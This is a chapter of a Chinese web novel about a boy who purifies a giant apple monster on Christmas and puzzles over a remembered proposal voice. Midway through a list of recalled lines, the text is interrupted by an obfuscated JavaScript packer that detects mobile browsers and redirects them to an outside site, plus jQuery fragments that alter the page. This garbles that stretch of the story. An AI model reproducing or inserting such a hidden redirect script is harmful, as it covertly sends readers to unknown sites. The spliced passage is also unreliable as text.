剑尖接触到炸弹的那个瞬间,罗乐安就第一时间切换了武器,举弓搭上蓝银色的箭矢,同时控制住身体惯性,再次急转180°,将箭尖对准周围空无一物的谵蘖。 在这之后,他终于结束了像陀螺一般不停忙碌的旋转,安静下来,并且闭上了眼睛,屏蔽掉外界纷纷扰扰的“桀桀桀”。 但是尽管眼前一片黑暗,他的脑海里却能够清晰地看到苹果人的形状。 那是谵蘖能量描绘出的轮廓。 他屏住呼吸,耐心等待。 不知道过去了多少时间——理论上可能只有几秒钟,甚至可能连一秒都不到,但罗乐安还是觉得自己等了好久——脑海中的谵蘖影像终于有了变化。 五个球形的红色阴影,开始在苹果人的轮廓外围浮现。 而就在炸弹完整出现的那一刻,他猛地睁开眼睛,同时右手松开,蓝银色的箭矢在离弦的瞬间分裂成了五支,朝着还没来得及出发的炸弹们飞驰而去。 至于罗乐安,早在箭射出去的时候,就迅速切换了手里的武器,举起长剑,甚至都没管冰冻箭是否射中全部炸弹,当即按下手柄上的A键。 “破空十字斩——” 随着五个冰坨坨落地,苹果人被银白色的剑痕击中,分成了四瓣。 红雾四溢,将谵蘖的身形彻底掩盖,却掩盖不了“噗嗤噗嗤”的动静。 罗乐安猜想那是苹果人又在生产炸弹,胸口顿觉一阵恶心。 不过好在红雾减轻了视觉侵害,而且战斗已经接近尾声,他的折磨也终于要告一段落了。 红雾从浓转淡,他依稀能看见苹果人周身围了一大圈炸弹,大概是刚刚那一击的伤害过大,炸弹的数量远远超过6个。 可是已经无所谓了,因为他胸前的胸针已经开始闪烁起了银白色的光芒。 “L-R同步!净化领域,启动!” 银色光束将谵蘖笼罩其中,罗乐安的脑海里又出现了那个未解的声音。 【今天全世界都在庆祝圣诞节,但我私心想要一份专属的纪念。】 【你愿意把未来的圣诞节、生日,都变成我们的订婚纪念日吗?】 【这是三个爱的约定:圣诞爱你,生日爱你,往后的每一天,都会更爱你!】 【好,这三份爱,我收下了。】 …… 这大概是声音最清晰的一次了,甚至还是一男一女两个声道,简直像是用录音机录下来似的。 而有了上次听到自己声音的经验,罗乐安对这次的声音格外上心,脑袋转得飞快,努力记忆并分析。 只是进展并不顺利,直到他手里的汉堡都快吃完了,他也没理出头绪。 「『3D打印』的时间就剩二十分钟了,别悠哉了,快点吃吧。」 “你好啰嗦哦,时间明明还很充裕嘛,真是皇帝不急太监急。” 「……」 思绪被打断,罗乐安也没再继续死磕,终于记起来手里被他啃了一口就在空气里被放逐了十分钟的安格斯,重新开始进食。 但是在吃了一口之后,他就被冷掉的牛肉饼腻到了,正打算再去买一个热乎的,却在准备起身的时候,感觉到身后的座位有人坐下,同时一个熟悉的声音在他背后响起。 “哥,我在绿森路这边的麦当当,你等会儿来接我呗。挣了多少?别提了,店都没了,更何况工资了。你没看新闻吗?就在聆风道那儿,出现怪物了,而且就在我打工的那家水果店前头……” 是熊哲的声音。 没想到他刚刚竟然就在事发地,那他会不会看到苹果变成谵蘖的过程? 想到这里,罗乐安决定再听听,绷紧的身子放松,并不着痕迹地往后靠了靠。 熊哲并没有察觉到自己此刻正在被人“贴身监听”,他拆开一个汉堡,一边吃,一边继续跟电话那头的人抱怨。 “……怪物长什么样?就……你能想象到两米乘两米的苹果长啥样吗?就那样——我跟你讲个惊天大秘密,我跟那个怪物近距离接触过!” 嗯? 真的假的? 吹牛的吧! 罗乐安对熊哲的话并不相信,只觉得对方在说大话,而电话听筒泄露出来的声音让他知道,和熊哲通话的人跟自己的想法一致,甚至反应都一样。 「真的假的?你吹牛呢吧!」 “我是那种人吗?当然是真的了!我当时正打包平安果呢,然后刚好就在我打工的店铺对面,有对情侣在道路中心那棵巨大圣诞树下面求婚,说‘三个爱的约定’什么的,反正肉麻兮兮的,但是还挺动人的,氛围也挺甜,看得我又有点想谈恋爱了……总之,我正准备浅磕一下,就发现我手里那个苹果突然开始冒红光。你也知道我之前就围观过怪物,有经验,一看见那个光就觉得不对劲,所以第一时间就跑了,要不然你可能就得去医院接我了……” 后面的抱怨罗乐安没有再听,他重新坐直身子,嘴里有一口没一口地啃着彻底凉透的汉堡,脑子却转得飞快,顺着记忆往前倒,将所有的可疑信息,全部抓取并集中起来。 「有对情侣在道路中心那棵巨大圣诞树下面求婚。」 「挺动人的,氛围也挺甜,看得我又有点想谈恋爱了……」 「这是三个爱的约定。」 「往后的每一天,都会更爱你!」 …… 「植物是有情绪的,也是有欲望的。」 …… 「气死我了……烦死了!烦死了!」 「…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791104|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒霉死了!」 总觉得,这些零碎的信息马上就要连成一串,只差一根线。 可是,要去哪里找线呢? 这个新问题又持续困扰了罗乐安很久,吃汉堡的时候想,潜伏回家的时候也在想,甚至下午做卷子的时候,还在想。 而且这次走神和以往不同,他像是被摸鱼大神眷顾了一般,开发出了完美的一心二用技能,写卷子和思考两不误。 当然了,卷子的正确率着实是一言难尽,好在是文综试卷,只需要他自己对答案,不需要温朗过目,不然指定要露馅。 但他还是低估了对方的敏锐程度。 “乐乐……” “唔?” “你怎么了?” “嗯?什么怎么了?我很好啊。我……噗!” 罗乐安这个时候正在对历史部分的答案,在听到温朗的声音后,终于回神,结果一低头就看到“分析新航路开辟的经济根源”一题下面,自己写下的“因为那边的人吃烤肉没孜然不好吃,所以非得自己去找”的那句离谱至极的答案,顿时没忍住笑了出来。 “你果然怪怪的啊。” 温朗眉头微蹙,目光中满是不解,“看到什么好笑的事情了吗?” 一边说,他一边顺手去够罗乐安手上的卷子,想要瞧瞧上面到底都写了什么,后者当然没有让他得逞,飞快地就把几张卷子折吧折吧,塞进了夹子里。 “没有没有,就是想到一个关于圣诞节的笑话——你知道为什么圣诞老人总是从烟囱进入房间吗?” “……不知道。为什么?” “因为如果按门铃,会触发门铃摄像头呀~而且需要人出来签收,这会严重影响他的配送效率哒~” “……” 等了大概二十秒,罗乐安也没等来温朗的回应,不觉得开始反思自己刚刚的笑话是不是太冷了,把自己的竹马“冻死”了。 “那个,你要是觉得不好笑,我还有一……” “乐乐,你还是很想过圣诞节吗?” “额……” 罗乐安也没料到温朗会联想到这里,他迟疑了一秒钟,选择实话实说。 “其实还好,已经没那么想了,毕竟年年圣诞节市里的装饰都差不太多。” 而且往年最美的那条街今天刚被毁,估计连晚上的烟花都会因此而取消,他就更没有出门凑热闹的兴致了。 只是温朗并不知道这些场外信息,他纯“抿状态”,然后得出了罗乐安“口是心非”的结论。 “没事的乐乐,你就大方承认好了,这也没什么——要不咱俩出去吃晚饭吧?毕竟也认真学了一天了,还可以顺便逛逛聆风道,不知道今年那里会布置成什么样……不过好像有点远哦,太晚回来也不好,不行我们去星光广场吧,重新开业之后我们还一直没去过呢,听说又开了不少我们还没吃过的店,刚好可以挑一家尝尝。” 说着,他就掏出手机,想着先上网做做攻略再出发。 罗乐安只好手动把人按住。 “不用找了,今年的星光广场要么人爆多,要么已经关门了。” “诶?” 瞧着温朗难得出现宕机反应,罗乐安贴心地递上了自己的手机。 “新闻说聆风道出现怪物了,整条街都被炸毁了,所以星光广场很可能会因为没有分流而挤满了人,也可能会担心发生意外而早早关门——总之,今夜不宜逛街。” “唔……” 温朗接过他的手机,仔细查看新闻,看完之后他沉默了好一会儿,直到罗乐安把书包都收拾好了准备回家,他才再次出声。 “既然这样,我们就在家附近找点吃的吧。” 见他兴致这么高,尽管罗乐安现在一心只想回家找线,却还是不忍扫兴,便答应了晚餐的邀约。 就是整顿饭都吃得不够走心,连餐后的小蛋糕,他都不记得是什么口味的。 更要命的是此时的他,还不知道不久之后,自己将面对什么样的巨大尴尬。